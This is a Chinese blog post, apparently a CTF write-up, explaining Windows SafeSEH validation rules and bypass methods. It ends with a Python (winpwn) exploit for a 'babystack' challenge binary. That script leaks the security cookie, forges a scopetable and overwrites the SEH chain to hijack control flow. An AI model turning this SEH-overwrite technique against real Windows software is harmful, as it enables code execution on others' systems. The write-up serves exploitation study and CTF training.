SafeSEH

简介

safeseh是在seh的基础上进行的改进, 是异常处理的关键结构, 不同的编译器可能使用的safeseh不一样, 但是基本的思想都一样;

safeseh验证

异常处理链起始位置储存在fs:[0]的位置, 在进程的DEP是开启的情况,有两种异常处理函数被异常分发器认为是有效的:

  1. 异常处理函数在进程映像的SafeSEH表中,并且没有NO_SEH标志。

  2. 异常处理函数在进程映像的可执行页,并且没有NO_SEH标志,没有SafeSEH表,没有.NET的ILonly标志。

在进程的DEP关闭的情况下,有三种情况异常处理函数被异常分发器认为是有效的:

  1. 异常处理函数在进程映像的SafeSEH表中,并且没有NO_SEH标志。

  2. 异常处理函数在进程映像的可执行页,并且没有NO_SEH标志,没有SafeSEH表,没有.NET的ILonly标志。

  3. 异常处理函数不在当前进程的映像里面,但是不在当前线程的堆栈上;

绕过方式:

  1. 在堆中绕过:即将异常处理函数放在堆里面,但是这道题不提供堆,而且开启了dep保护也是行不通的

  2. 在未开启safeseh模块中绕过:这个程序是静态编译的,并没有别的模块 在加载模块之外的地址

  3. 伪造scopetable;

scopetable内容如下:

.rdata:0047ACC0 stru_47ACC0     dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:0047ACC0                                         ; DATA XREF: sub_407F60+5↑o
.rdata:0047ACC0                 dd 0                    ; GSCookieXOROffset ; SEH scope table for function 407F60
.rdata:0047ACC0                 dd 0FFFFFF0Ch           ; EHCookieOffset
.rdata:0047ACC0                 dd 0                    ; EHCookieXOROffset
.rdata:0047ACC0                 dd 0FFFFFFFEh           ; ScopeRecord.EnclosingLevel
.rdata:0047ACC0                 dd offset loc_408224    ; ScopeRecord.FilterFunc
.rdata:0047ACC0                 dd offset loc_40822A    ; ScopeRecord.HandlerFunc

通过观察程序初始化可以看出scopetable的存储方式:
scopetable

babystack

# from pwn import *
from winpwn import *
def get_data(addr):
    p.recvuntil("Do you want to know more?")
    p.sendline("yes")
    p.recvuntil("Where do you want to know")
    p.sendline(str(addr))
    buf = p.recvuntil("value is ")
    data = int(p.recv(10), 16)
    return data


name = "C:\\Users\\test\\Desktop\\Win_Pwn\\babystack\\babystack.exe"
p = process(name)
p.recvuntil("stack address = ")
stack = int(p.recv(8), 16)
print("buf_stack_addr: ", hex(stack))
p.recvuntil("main address = ")
base_addr = int(p.recv(9), 16) - 0x0b0
print("base_addr: ", hex(base_addr))
security_cookie = get_data(base_addr + 0x3004)
print("security_cookie: ", hex(security_cookie))
ebp = stack + 0x9c
next_seh = get_data(ebp - 0x10)
cmd_addr = base_addr + 0x38d
execpt4 =  base_addr + 0x460
scope = (stack+4) ^ (security_cookie)
canary = security_cookie ^ ebp
print("canary: ", hex(canary))

sturct = p32(0xffffffe4) + p32(0x0) + p32(0xffffff20) + p32(0) + p32(0xfffffffe) + p32(base_addr + 0x348) + p32(cmd_addr)
pay = "aaaa" + sturct +  "b"*96 + p32(canary) + "c"*8 + p32(next_seh) + p32(execpt4) + p32(scope) + p32(0)

p.recvuntil("Do you want to know more?")
p.sendline("hi")
p.sendline(pay)
p.recvuntil("Do you want to know more?")
p.sendline("yes")
p.recvuntil("Where do you want to know")
p.sendline("0")
p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值